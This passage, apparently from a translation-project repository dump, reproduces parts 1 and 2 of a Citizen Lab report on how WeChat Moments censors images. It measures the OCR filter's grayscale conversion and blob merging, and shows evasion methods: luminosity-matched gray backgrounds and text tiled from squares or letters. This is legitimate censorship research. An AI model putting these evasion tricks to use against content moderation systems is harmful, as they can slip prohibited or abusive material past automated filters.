2](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-2.md)\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 3](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-3.md)\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 4](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-4.md)\n\n## Key findings\n\n*   WeChat (the most popular chat app in China) uses two different algorithms to filter images in Moments: an OCR-based one that filters images containing sensitive text and a visual-based one that filters images that are visually similar to those on an image blacklist\n*   We discovered that the OCR-based algorithm has implementation details common to many OCR algorithms in that it converts images to grayscale and uses blob merging to consolidate characters\n*   We found that the visual-based algorithm is not based on any machine learning approach that uses high level classification of an image to determine whether it is sensitive or not; however, we found that the algorithm does possess other surprising properties\n*   For both the OCR- and visual-based algorithms, we uncovered multiple implementation details that informed techniques to evade the filter\n*   By analyzing and understanding how both the OCR- and visual-based filtering algorithms operate, we are able to discover weaknesses in both algorithms that allow one to upload images perceptually similar to those prohibited but that evade filtering\n\n## Introduction\n\nWeChat, (_Weixin_ 微信 in Chinese), is the dominant chat application in China and fourth largest in the world. In February 2018, WeChat reportedly [hit](http://www.scmp.com/tech/apps-gaming/article/2135690/tencents-wechat-hits-1-billion-milestone-lunar-new-year-boosts) one billion monthly active users during the Chinese Lunar New Year. The application is owned and operated by Tencent, one of China’s largest technology companies. In the past two years, WeChat has transformed beyond a commercial social media platform and become part of China’s e-governance initiatives. China’s Ministry of Public Security has been [collaborating](http://www.g.com.cn/tech/21472402/) with Tencent to implement the country’s national identification card system on WeChat.\n\nChinese users spend [a third](http://www.economist.com/news/business/21703428-chinas-wechat-shows-way-social-medias-future-wechats-world) of their mobile online time on WeChat and typically return to the app ten times a day or more. Among WeChat’s many functions, the [most frequently used](http://tech.qq.com/a/20160321/030364.htm) feature is [WeChat Moments](http://blog.wechat.com/2015/06/12/tech-tip-your-guide-to-wechat-moments/) (朋友圈), which resembles Facebook’s Timeline and allows users to share images, videos, and articles. Moments has a relatively high level of intimacy, because a user’s updates on Moments can only be seen by friends who have been verified or selected by the user, and a user can only see interactions of people who are already on their WeChat contact list. Because of such perceived privacy, users [reported](https://t.qianzhan.com/caijing/detail/170424-8f9569e1.html) that they frequently share details of their daily life and express personal opinions on Moments.\n\nOperating a chat application in China requires following laws and regulations on content control and monitoring. Previous Citizen Lab research [uncovered](https://citizenlab.ca/2016/11/wechat-china-censorship-one-app-two-systems/) that WeChat censors content–both text and images–and [demonstrates](https://citizenlab.ca/2017/11/managing-message-censorship-19th-national-communist-party-congress-wechat/) that censorship is heightened around sensitive events. Our previous work [found](https://citizenlab.ca/2017/04/we-cant-chat-709-crackdown-discussions-blocked-on-weibo-and-wechat/) that WeChat uses a hash-based system to filter images in one-to-one and group chats. However, image censorship on Moments is more complex: an image is filtered according to its content in a way that is tolerant to some modifications to the image.\n\nIn this report, we present our findings studying the implementation of image filtering on WeChat Moments. We found two different algorithms that WeChat Moments uses to filter images: an OCR-based one that filters images containing sensitive text and a visual-based one that filters images that are visually similar to those on an image blacklist. We found that the OCR-based algorithm has similarities to many common OCR algorithms in that it converts images to grayscale and uses blob merging to consolidate characters. We also found that the visual-based algorithm is not based on any machine learning approach that uses high level classification of an image to determine whether it is sensitive or not; however, we found that the algorithm does possess other surprising properties. By understanding how both the OCR- and visual-based algorithms work, we are able to discover weaknesses in both algorithms that allow one to upload images perceptually similar to those blacklisted but that evade filtering.\n\nThrough our findings we provide a better understanding of how image filtering is implemented on an application with over one billion users. We hope that our methods can be used as a road map for future research studying image filtering on other platforms.\n\n## Regulatory Environment in China\n\nWeChat thrives on the huge user base it has amassed in China, but the Chinese market carries unique challenges. As Chinese social media applications continue to gain popularity, authorities have introduced tighter content controls.\n\nAny Internet company operating in China is subject to laws and regulations that hold companies legally responsible for content on their platforms. Companies are expected to invest in staff and filtering technologies to moderate content and stay in compliance with government regulations. [Failure to comply](http://www.wsj.com/articles/china-threatens-sina-corp-over-insufficient-censorship-1428743575) can lead to fines or revocation of operating licenses. This environment creates a system of “intermediary liability” where responsibility of content control is pushed down to companies.\n\nIn 2010, China’s State Council Information Office (SCIO) published a major government-issued document on its Internet policy. It includes [a list of prohibited topics](http://www.humanrights.cn/cn/rqlt/rqwj/rqbps/t20100608_605154_1.htm) that are vaguely defined, including “disrupting social order and stability” and “damaging state honor and interests.” Control over the Internet in China has tightened since 2012 following the establishment of the Cyberspace Administration of China (CAC). The CAC has [become](http://www.xinhuanet.com/english/2017-05/03/c_136251798.htm) the new regulator of online news services replacing the SCIO. Chinese President Xi Jinping directly heads the CAC, which signals a dramatic change of the leadership’s attitudes towards Internet management: It is [a matter of national security](http://www.cac.gov.cn/2014-02/27/c_133148354.htm) and that the (CPC) [must](https://news.qq.com/a/20160321/020121.htm) control the Internet just as how it controls traditional media.\n\nRecent regulations push content control liability down to the user level. In 2014, the CAC introduced regulations informally referred to as the “[WeChat Ten Doctrines](http://paper.people.com.cn/xaq/html/2014-11/01/content_1522983.htm)”, which emphasizes the implementation of a real-name registration system and a prohibition against activities that violate the “seven baselines” of observing laws and regulations, the Socialist system, the national interest, citizens’ lawful rights and interests, public order, social morality, and truthfulness of information. In 2017, the CAC released four major regulations on Internet management, ranging from strengthening real-name registration requirements on [Internet forums](http://www.cac.gov.cn/2017-08/25/c_1121541921.htm) and [online comments](http://www.cac.gov.cn/2017-08/25/c_1121541842.htm) to making individuals who host public accounts and moderate chat groups [liable](http://www.cac.gov.cn/2017-09/07/c_1121624269.htm) for content on the platforms.\n\nUnder the CAC, WeChat, along with other Chinese social media platforms, face much higher penalties than fines if they fail to moderate content. On April 9, 2018, the CAC [ordered](http://www.bjnews.com.cn/finance/2018/04/09/482425.html) all Chinese app stores to remove the four most popular news aggregation applications for weeks because they failed to “maintain the lawful order of information sharing.” A day later, authorities [demanded](http://www.xinhuanet.com/english/2018-04/10/c_137100672.htm) Toutiao, China’s top news aggregation website, and WeChat permanently shut down an account that featured parody and jokes due to “publishing vulgar and improper content.” In the same month, Tencent [suspended](https://www.thepaper.cn/newsDetail_forward_2070142) all video playing functions on WeChat and QQ if the URL of the video was an external link.\n\nTo handle increased government pressures, companies are investing more heavily in filtering technologies and human resources to moderate content. Global Times, a Chinese state media outlet affiliated with People’s Daily, [reported](http://www.globaltimes.cn/content/1098173.shtml) that tech companies are expanding their human censor team and developing artificial intelligence tools to review “trillions of posts, voice messages, photos and videos every day” to make sure their content is in line with laws and regulations. However, authorities still think that “these platforms are not fully performing their duties.”\n\nIn September 2016, Chinese authorities issued [new regulations](http://news.sohu.com/20160920/n468794222.shtml) that explicitly state that messages and comments on social media products like WeChat Moments can be collected and used as “electronic data” in legal proceedings. Martin Lau Chi-ping, a senior manager at Tencent, [said](http://www.scmp.com/tech/social-gadgets/article/2138249/tencent-profit-doubles-strong-smartphone-games-business) the following:\n\n> “We are very concerned about user data security. It is top of our concerns… In a law enforcement situation, of course, any company has to comply with the regulations and laws within the country.”\n\nRecently, WeChat users have been arrested for “[insulting police](http://d.youth.cn/sk/201702/t20170224_9165131.htm)” or “[threatening to blow up a government building](http://www.kejilie.com/ifeng/article/veqIby.html)” on Moments, which indicates that the feature may be subject to monitoring by the authorities or the company.\n\n## Previous Examples of WeChat Image Filtering\n\nIn [previous](https://citizenlab.ca/2017/04/we-cant-chat-709-crackdown-discussions-blocked-on-weibo-and-wechat/) [Citizen Lab](https://citizenlab.ca/2017/04/we-cant-chat-709-crackdown-discussions-blocked-on-weibo-and-wechat/) [research](https://citizenlab.ca/2017/04/we-cant-chat-709-crackdown-discussions-blocked-on-weibo-and-wechat/), we showed that image censorship occurs in both WeChat’s chat function and WeChat Moments. Similar to keyword-based text filtering, censorship of images is only enabled for users with accounts registered to mainland China phone numbers. The filtering is also non-transparent in that no notice is given to a user if the image they have sent is blocked. Censorship of an image is concealed from the user who posted the censored image.\n\nFigure 1 shows a user with an international account successfully posting a censored image: the image is visible to users with international accounts, but the post is hidden from users with China accounts.\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/f1-1024x603.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f1.png)\n\nFigure 1: Image censorship on WeChat moments. A user with a China account (on the left) attempts to send an [image](https://www.chrlawyers.hk/sites/default/files/33.png) related to the 709 Crackdown and is hidden from other China account’s Moments feed (on the right). The image is visible in the user’s own feed as well as to an international account (in the middle).\n\nIn January 2017, we [discovered](https://citizenlab.ca/2017/04/we-cant-chat-709-crackdown-discussions-blocked-on-weibo-and-wechat/) that a number of images related to the “[709 Crackdown](https://chinachange.org/tag/709-arrest-of-lawyers/)” (referring to a crackdown on human rights lawyers and their families in China) are blocked in group chat when using an account registered to a mainland China phone number. The censorship was found when we were performing keyword testing of news articles. When we copied and pasted the image accompanying certain news articles about the 709 Crackdown, the image itself was filtered. In subsequent sample testing, we found 58 images related to the event censored on Moments, most of which are infographics related to the 709 Crackdown, profile sketches of the affected lawyers and their relatives, or images of people holding the slogan “oppose torture, pay attention to Xie Yang” (“反对酷刑，关注谢阳”). See Figure 2 for an example of the image filtering.\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/f2-1024x906.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f2.png)\n\nFigure 2: Image censorship in a WeChat group Chat. A user with a China account (on the left) attempts to send an image of the cover of a report on the 709 Crackdown and is blocked.\n\nWe [documented](https://citizenlab.ca/2017/07/analyzing-censorship-of-the-death-of-liu-xiaobo-on-wechat-and-weibo/) similar instances of image censorship on WeChat following the death of Liu Xiaobo in July 2017. The scope of censorship was wider and more intensive compared to the case of the 709 Crackdown. Not only were images censored on WeChat’s group chat and Moments, but we also documented image filtering on WeChat’s one-to-one chat function for the first time (see Figure 3).\n\nIn the wake of Liu Xiaobo’s death, we again found that images blocked in one-to-one chat messages were also blocked on group chat and WeChat Moments. Images blocked in chat functions were always blocked on WeChat Moments. The greater attention to WeChat Moments and group chat may be due to the semi-public nature of the two features. Messages in these functions can reach a larger audience than one-to-one chat, potentially making these features subject to a higher level of scrutiny. However, the blocking of images on one-to-one chat shows an effort to restrict content across semi-public and private chat functions, demonstrating the sensitivity of Liu Xiaobo’s death.\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/f3-1024x877.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f3.png)\n\nFigure 3: Image censorship in a WeChat one-to-one chat. A user with an international account (on the left) attempts to send an image of a cartoon of an empty chair symbolizing Nobel Laureate Liu Xiaobo to a China account. The image is not received by the China account.\n\nIn both cases, our tests showed that an image on Moments is filtered according to that image’s content in a way that is tolerant to some modifications to the image; however, until this study it was unclear the algorithms used by WeChat to filter and which kinds of image modifications evaded filtering and which did not. In this report, we conduct a systematic analysis of WeChat’s filtering mechanisms to understand how WeChat implements image filtering. This understanding informs weaknesses in WeChat’s algorithms and techniques for evading WeChat’s image filtering.\n\n> * 下一篇：[(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 2](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-2.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-2.md",
    "content": "> * 原文地址：[(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 2](https://citizenlab.ca/2018/08/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments/)\n> * 原文作者：[Jeffrey Knockel](https://citizenlab.ca/author/jknockel/), [Lotus Ruan](https://citizenlab.ca/author/lotus/), [Masashi Crete-Nishihata](https://citizenlab.ca/author/masashi/), and [Ron Deibert](https://citizenlab.ca/author/profd/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-2.md)\n> * 译者：\n> * 校对者：\n\n# (CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 2\n\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 1](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-1.md)\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 2](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-2.md)\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 3](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-3.md)\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 4](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-4.md)\n\n## Analyzing Image Filtering on WeChat\n\nWe measured whether an image is automatically filtered on WeChat Moments by posting the image using an international account and measuring whether it was visible to an account registered to a mainland China phone number after 60 seconds, as we found that images automatically filtered were typically removed in 5 to 30 seconds. To determine how WeChat filters images, we performed modifications to images that were otherwise filtered and measured which modifications evaded filtering. The results of this method revealed multiple implementation details of WeChat’s filtering algorithms, and since our methods understand how WeChat’s filtering algorithm is implemented by analyzing which image modifications evade filtering, they naturally inform strategies to evade the filter.\n\nWe found that WeChat uses two different filtering mechanisms to filter images: an Optical Character Recognition (OCR)-based approach that searches images for sensitive text and a visual-based approach that visually compares an uploaded image against a list of blacklisted images. In this section we describe how testing for and understanding implementation details of both of these filtering methods led to effective evasion techniques.\n\n### OCR-based filtering\n\nWe found that one approach that Tencent uses to filter sensitive images is to use OCR technology. An OCR algorithm is an algorithm that automatically reads and extracts text from images. OCR technology is commonly used to perform tasks such as automatically converting a scanned document into editable text or to read characters off of a license plate. In this section, we describe how WeChat uses OCR technology to detect sensitive words in images.\n\nOCR algorithms are complicated to implement and the subject of active research. While reading text comes naturally to most people, computer algorithms have to be specifically programmed and trained in how to do this. OCR algorithms have become increasingly sophisticated over the past decades to be able to effectively read text in an increasingly diverse amount of real-world cases.\n\nWe did not systematically measure how much time WeChat’s OCR algorithm required, but we found that OCR images were not filtered in real time and that after uploading an image containing sensitive text, it would typically be visible to other users between 5 and 30 seconds before it was filtered and removed from others’ views of the Moments feed.\n\n#### Grayscale conversion\n\nOCR algorithms may use different strategies to recognize text. However, at a high level, we found that WeChat’s OCR algorithm shares implementation details with other OCR algorithms. As most OCR algorithms do not operate directly on colour images, the first step they take is to convert a colour image to _grayscale_ so that it only consists of black, white, and intermediate shades of gray, as this largely simplifies text recognition since the algorithms only need to operate on one channel.\n\n| Algorithm | Result |\n| --------- | ------ |\n| Original | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f4-1.jpeg)](https://citizenlab.ca/wp-content/uploads/2018/08/f4-1.jpeg) |\n| Average | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f4-2.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f4-2.png) |\n| Lightness | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f4-3.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f4-3.png) |\n| Luminosity | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f4-4.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f4-4.png) |\n\nTable 1: An image with green text and a background colour of gray with the same shade as the text according to the luminosity formula for grayscale and how the text would appear to an OCR algorithm according to three different grayscale algorithms. If the OCR algorithm uses the same grayscale algorithm that we used to determine the intensity of the gray background, then the text effectively disappears to the algorithm.\n\nTo test if WeChat’s OCR filtering algorithm performed a grayscale conversion of colour images, we designed test images that would evade filtering if the OCR algorithm converted uploaded images to grayscale. We designed the images to contain text hidden in the hue of an image in such a way that it is easily legible by a person reading it in colour but such that once it is converted to grayscale, the text disappears and is invisible to the OCR algorithm. If the image evaded censorship, then the OCR algorithm must have converted the image to grayscale (see Table 1 for an illustration).\n\nAs we did not know which formula the OCR algorithm used to convert colour images to grayscale, we evaluated multiple possibilities. Coloured raster images are typically represented digitally as a two-dimensional array of pixels, each pixel having three colour channels (red, green, and blue) of variable intensity. These intensities correspond to the intensities of the red, green, and blue outputs on most electronic displays, one for each cone of the human eye.\n\nIn principle, the gray intensity of a colour pixel could be calculated according to any function of its red, green, and blue intensities. We evaluated three common algorithms:\n\n1.  [average](https://docs.gimp.org/en/gimp-tool-desaturate.html)(_r_, _g_, _b_) = (_r_ + _g_ + _b_) / 3\n    \n2.  [lightness](https://docs.opencv.org/3.4.2/de/d25/imgproc_color_conversions.html)(_r_, _g_, _b_) = (max(_r_, _g_, _b_) + min(_r_, _g_, _b_)) / 2\n    \n3.  [luminosity](https://docs.opencv.org/3.4.2/de/d25/imgproc_color_conversions.html)(_r_, _g_, _b_) = 0.299 _r_ + 0.587 _g_ + 0.114 _b_\n    \n\nTo use as comparisons and to validate our technique, in addition to WeChat’s algorithm, we also performed this same analysis on two other OCR algorithms: the [one provided by Tencent’s Cloud API](https://youtu.qq.com/#/char-general), an online API programmers can license from Tencent to perform OCR, and [Tesseract.js](https://tesseract.projectnaptha.com/), a browser-based Javascript implementation of the open source [Tesseract](https://github.com/tesseract-ocr/tesseract) OCR engine. We chose Tencent’s Cloud OCR because we suspected it may share common implementation details with the OCR algorithm WeChat uses for filtering, and we chose Tesseract.js since it was popular and open source.\n\nSince Tesseract.js was open source, we analyzed it first as it allowed us to look at the source code and directly observe the algorithm used for grayscale to use as a ground truth. To our surprise, the exact algorithm used was not any of the algorithms that we had initially presumed but rather a close approximation of one. Namely, it used a fixed-point approximation of the YCbCr luminosity formula equivalent to the following Javascript expression:\n\n> (255 * (77 * _r_ + 151 * g + 28 * _b_) + 32768) >> 16\n\nwhere “_a_ >> _b_” denotes shifting _a_ to the right by _b_ bits, an operation mathematically equivalent to ⌊_a_ / 2<sup>_b_</sup>⌋. Multiplied out, this is approximately equivalent to 0.300 _r_ + 0.590 _g_ + 0.109 _b_.\n\nKnowing this, we created images containing filtered text in six different colours: red, (1.0, 0, 0); yellow, (1.0, 1.0, 0); green, (0, 1.0, 0); cyan, (0, 1.0, 1.0); blue, (0, 1.0, 1.0); and magenta, (1.0, 0, 1.0); where (_r_, _g_, _b_) is the colour in RGB colourspace and 1.0 is the highest intensity of each channel (see Table 2). These six colours were chosen because they have maximum saturation in the [HSL](https://en.wikipedia.org/wiki/HSL_and_HSV) colourspace and a simple representation in the RGB colourspace. For each colour (_r_, _g_, _b_), we created an image whose text was colour (_r_, _g_, _b_) and whose background was the gray colour (_Y_, _Y_, _Y_), such that _Y_ was equal to the value of the above Javascript expression evaluated as a function of _r_, _g_, and _b_.\n\nWe tested the images on Tesseract.js, and any text we tried putting into the image was completely invisible to the algorithm. We found that no other grayscale algorithm consistently evaded detection on all colours, including the original luminosity formula. While very similar to the formula Tesseract.js used, it, for example, failed for the colours with a blue component, as the coefficient for the blue channel is where the formulas most disagreed. Even this small difference produced text that was detectable. Generalizing from this, we concluded that evading WeChat’s OCR filtering algorithm may prove difficult, as we may have to know the exact grayscale formula used, but once we correctly identified it, we would be able to consistently evade WeChat’s filtering algorithm with any colour of text.\n\n|    |    |    |    |    |\n| -- | -- | -- | -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f5-1-215x300.jpeg)](https://citizenlab.ca/wp-content/uploads/2018/08/f5-1.jpeg) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f5-2-215x300.jpeg)](https://citizenlab.ca/wp-content/uploads/2018/08/f5-2.jpeg) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f5-3-215x300.jpeg)](https://citizenlab.ca/wp-content/uploads/2018/08/f5-3.jpeg) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f5-4-215x300.jpeg)](https://citizenlab.ca/wp-content/uploads/2018/08/f5-4.jpeg) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f5-5-215x300.jpeg)](https://citizenlab.ca/wp-content/uploads/2018/08/f5-5.jpeg) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f5-6-215x300.jpeg)](https://citizenlab.ca/wp-content/uploads/2018/08/f5-6.jpeg) |\n\n> Table 2: Each of the six colours of text tested. Here the background colour of each of the above six images was chosen according to the luminosity of the colour of that image’s text.\n\nKnowing that our methodology was feasible as long we knew the exact algorithfigurm that WeChat used to convert images to grayscale, we turned our attention to WeChat’s OCR algorithm. Using the same technique as before, we tested each of the three candidate grayscale conversion algorithms to determine if any would consistently evade the filter. We used the same six colours as before. For each test image, we used 25 keyword combinations randomly selected from a set that we already knew to be filtered via OCR filtering (see the Section “Filtered text content analysis” for how we created this set). For each colour (_r_, _g_, _b_), we used the grayscale algorithm being tested _f_ to determine (_Y_, _Y_, _Y_), the colour of the gray background, where _Y_ = _f_(_r_, _g_, _b_).\n\nAfter performing this initial test, we found that only when choosing the intensity of the gray background colour as given by the luminosity formula could we consistently evade filtering for every tested colour. The other two algorithms did not evade censorship when testing most colours (see Table 3).\n\n![](https://i.loli.net/2018/08/15/5b73fb70eac5a.png)\n\n> Table 3: Results choosing the intensity of the gray background colour according to three different grayscale conversion algorithms for six different colours of text. For the average and lightness algorithms, most of the images were filtered. For the luminosity algorithm, none of them were.\n\nWe repeated this same experiment for Tencent’s online OCR platform. Unlike WeChat’s OCR filtering implementation, where we could only observe whether WeChat’s filter found sensitive text in the image, Tencent’s platform provided us with more information, including whether the OCR algorithm detected any text at all and the exact text detected. Repeating the same procedure as with WeChat, we found that again only choosing gray backgrounds according to each colour’s luminosity would consistently hide all text from Tencent’s online OCR platform. This suggested that Tencent’s OCR platform may share implementation details with WeChat, as both appear to perform grayscale conversion the same way.\n\nTo confirm that using the luminosity formula to choose the text’s background colour consistently evaded WeChat’s OCR filtering, we performed a more extensive test targeting only that algorithm. We selected five lists of 25 randomly chosen keywords we knew to be blocked. We also selected five lists of 10, 5, 2, and 1 keyword(s) chosen at random. For each of these lists, we created six images, one for each of the same six colours we used in the previous experiment. Our results were that all 150 images evaded filtering. These results show that we can consistently evade WeChat’s filtering by hiding coloured text on a gray background chosen by the luminosity of the text and that WeChat’s OCR algorithm uses the same or similar formula for grayscale conversion.\n\n### Image thresholding\n\nAfter converting a coloured image to grayscale, another step in most OCR algorithms is to apply a _thresholding_ algorithm to the grayscale image to convert each pixel, which may be some shade of gray, to either completely black or completely white such that there are no shades of gray in between. This step is often called “binarization” as it creates a binary image where each pixel is either 0 (black) or 1 (white). Like converting an image to grayscale, thresholding further simplifies the image data making it easier to process.\n\nThere are two common approaches to thresholding. One is to apply _global thresholding_. In this approach, a single threshold value is chosen for every pixel in the image, and if a gray pixel is less than that threshold, it is turned black, and if it is at least that threshold, it is turned white. This threshold can be a value fixed in advance, such as 0.5, a value between 0.0 (black) and 1.0 (white), but it is often determined dynamically according to the image’s contents using [Otsu’s method](https://en.wikipedia.org/wiki/Otsu%27s_method), which determines the value of the threshold depending on the distribution of gray values in the image.\n\nInstead of using the same global threshold for the entire message, another approach is to apply _adaptive thresholding_. Adaptive thresholding is a more sophisticated approach that calculates a separate threshold value for each pixel depending on the values of its nearby pixels.\n\nTo test if WeChat used a global thresholding algorithm such as Otsu’s method, we created a grayscale image with 25 random keyword combinations discovered censored via WeChat’s OCR filtering. The text was light gray (intensity 0.75) on a white (intensity 1.0) background, and the right-hand side was entirely black (intensity 0.0) (see Table 4). This image was designed so that an algorithm such as Otsu’s would pick a threshold such that all of the text would be turned entirely white.\n\n|    |    |    |\n| -- | -- | -- |\n| ![](https://citizenlab.ca/wp-content/uploads/2018/08/f6-1-1-300x290.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f6-2-300x290.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f6-2.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f6-3-300x290.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f6-3.png) |\n\n> Table 4: Left, the original image. Centre, what the image would look like to an OCR filter performing thresholding using Otsu’s method. Right, what the image might look like to an OCR filter performing thresholding using an adaptive thresholding technique.\n\nWe first tested the image against Tesseract.js and found that this made the text invisible to the OCR algorithm. This suggested that it used a global thresholding algorithm. Upon inspecting the source code, we found that it did use a global thresholding algorithm and that it determined the global threshold using Otsu’s method. This suggests that our technique would successfully evade OCR detection on other platforms using a global thresholding algorithm.\n\nWe then uploaded the image to WeChat and found that the image was filtered and that our strategy did not evade detection. We also uploaded it to Tencent’s Cloud OCR and found that the text was detected there as well. This suggests that these two platforms do not use global thresholding, possibly using either adaptive thresholding or no thresholding at all.\n\n### Blob merging\n\nAfter thresholding, many OCR algorithms perform a step called _blob merging_. After the image has been thresholded, it is now binary, _i.e_., entirely black or white, with no intermediate shades of gray. In order to recognize each character, many OCR algorithms try to determine which blobs in an image correspond to each character. Many characters such as the English letter “i” are made up of unconnected components. In languages such as Chinese, individual characters can be made up of many unconnected components (e.g., 診). OCR algorithms use a variety of algorithms to try to combine these blobs into characters and to evaluate which combinations produce the most recognizable characters.\n\n|    |    |\n| -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f7-1.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f7-1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f7-2.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f7-2.png) |\n\n> Table 5: Left, the square tiling. Right, the letter tiling.\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/f8-1-300x96.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f8-1.png)\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/f8-2-300x96.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f8-2.png)\n\n> Figure 4: 法轮功 (Falun Gong) patterned using squares and letters.\n\nTo test whether WeChat’s OCR filtering performed blob merging, we experimented with uploading an image that could be easily read by a person but that would be difficult to read by an algorithm piecing together blobs combinatorially. To do this, we experimented with using two different patterns to fill text instead of using solid colours. Specifically, we used a tiled square pattern and a tiled letter pattern (see Table 5 and and Figure 4), both black on white. Using these patterns causes most characters to be made up of a large amount of disconnected blobs in a way that is easily readable by most people but that is difficult for OCR algorithms performing blob merging. The second pattern that tiles English letters was designed to especially confuse an OCR algorithm by tricking it into finding the letters in the tiles as opposed to the larger characters that they compose.\n\nTo test if blobs of this type affected the OCR algorithm, we created a series of test images. We selected five lists of 25 randomly chosen keyword combinations we knew to be blocked. Randomly sampling from blocked keyword combinations, we also created five lists for each of four additional list lengths, 10, 5, 2, and 1. For each of these lists, we created two images: one with the text patterned in squares and another patterned in letters.\n\nFor images with a large number of keywords, we decrease the font size to ensure that the generated images fit within a 1000×1000 pixel image. This is to ensure that images did not become too large and to ensure that they would not be downscaled, as we had previously experienced some images that were larger than 1000×1000 downscaled by WeChat, although we did not confirm that 1000×1000 was the exact cutoff. We did this to control for any effects that downscaling the images could have on our experiment such as by blurring the text.\n\n![](https://i.loli.net/2018/08/15/5b743caeac96d.png)\n\n> Table 6: The number of images that evaded filtering for each test. Letter-patterned text evaded all tests, but square-patterned did not evade two of the tests with the largest number of sensitive keywords.\n\nOur results showed that square-patterned text evaded filtering in 92% of our tests, and letter-patterned text evaded filtering in 100% of our tests (see Table 6 for a breakdown). The reason for the two failures of squares in the 25 keyword case is not clear, but there are two possibilities. One is that the higher number of keywords per image increased the probability that at least one of those keywords would not evade filtering. The second is that images with a larger number of keywords used a smaller font size, and so there were fewer blobs per character, reducing the effectiveness of the evasion strategy. Letters were more effective in evading filtering and were perfect in our testing. This may be because of the previously suggested hypothesis that the OCR filter would be distracted by the letters in the pattern and thus miss the characters of which they collectively form, but it may also be because the letters are less dense insofar as they have fewer black pixels per white. Overall, these results suggest that WeChat’s OCR filtering algorithm considers blobs when performing text recognition and that splitting characters into blobs is an effective evasion strategy.\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/f9.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f9.png)\n\n> Figure 5: Output of Tencent Cloud OCR when uploading the Falun Gong image from Figure 4. The filter finds the constituent letters making up the characters, as well as other erroneous symbols, but not the characters 法轮功 themselves.\n\nFor comparison, we also tested these same images on Tesseract.js and Tencent’s Cloud OCR. For the former, the images always evaded detection, whereas in the latter the patterns often failed to evade detection, especially in larger images. We suspect that blobs are also important to Tencent’s Cloud OCR, but, as we found that these patterns did not evade detection only in larger images, we suspect that this is due 